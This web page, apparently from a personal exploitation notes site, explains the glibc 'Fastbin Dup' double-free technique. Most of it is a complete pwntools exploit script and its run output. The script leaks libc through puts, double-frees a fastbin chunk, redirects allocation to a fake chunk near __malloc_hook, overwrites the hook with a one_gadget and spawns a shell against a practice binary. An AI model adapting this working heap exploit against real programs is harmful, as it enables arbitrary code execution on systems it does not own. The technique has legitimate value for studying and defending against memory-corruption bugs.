Skip to content

Fastbin Dup

Technique

The Fastbin Dup technique exploits a double-free vulnerability to trick malloc into returning the same chunk twice. By manipulating the chunk's metadata, such as the fd pointer, an attacker can control where the next chunk is allocated, effectively gaining an arbitrary read/write primitive.

Warning

The fastbin size field check during allocation limits the candidates for fake chunks. If the size is not valid, an exception will be raised. You can use the find_fake_fast_chunk function to find valid candidates for fake chunks (i.e. find_fake_fast &__malloc_hook).

Exploit Script

#!/usr/bin/env python3
from pwn import *


def username(name):
    io.sendlineafter(b"username:", name)

def malloc(size, data, shell=False):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"size: ", str(size).encode())
    if shell: io.interactive()
    io.sendafter(b"data: ", data)

def free(idx):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"index: ", str(idx).encode())

def read_leak():
    io.recvuntil(b"puts() @ ")
    return int(io.recvline().strip(), 16)

# -----[ CONTEXT ]-----
BINARY = "./fastbin_dup"
LIBC = "../.glibc/glibc_2.30_no-tcache/libc.so.6"
elf = context.binary = ELF(BINARY)
libc = ELF(LIBC)
# context.log_level = "debug"

# -----[ EXPLOIT ]-----
io = process([BINARY])
# Read the leak & calculate the addresses
puts = read_leak()
libc.address = puts - libc.sym["puts"]
malloc_hook = libc.sym["__malloc_hook"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
print(f"malloc_hook: {hex(malloc_hook)}")

# Use one_gadget to get shell
one_gadget = libc.address + 0xe1fa1

username(b"A" * 8)

malloc(0x68, b"A" * 0x68)
malloc(0x68, b"B" * 0x68)

# Double free the first chunk
# Free another chunk between to avoid security exceptions
free(0)
free(1)
free(0)

# Address of a valid fake chunk to overwrite the malloc_hook
target = malloc_hook - 0x23
print(f"target: {hex(target)}")
malloc(0x68, p64(target))
malloc(0x68, b"B" * 0x68)
malloc(0x68, b"C" * 0x68)

# Overwrite the malloc_hook with one_gadget
malloc(0x68, b"\x00" * 0x13 + p64(one_gadget))

# Get shell
malloc(0x1, b"", shell=True)
io.interactive()

Execution

$ python3 xpl_fastbin_dup.py
[+] Starting local process './fastbin_dup': pid 62335
puts: 0x7a691ce6faf0
libc: 0x7a691ce00000
malloc_hook: 0x7a691d1b4b50
target: 0x7a691d1b4b2d
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)

References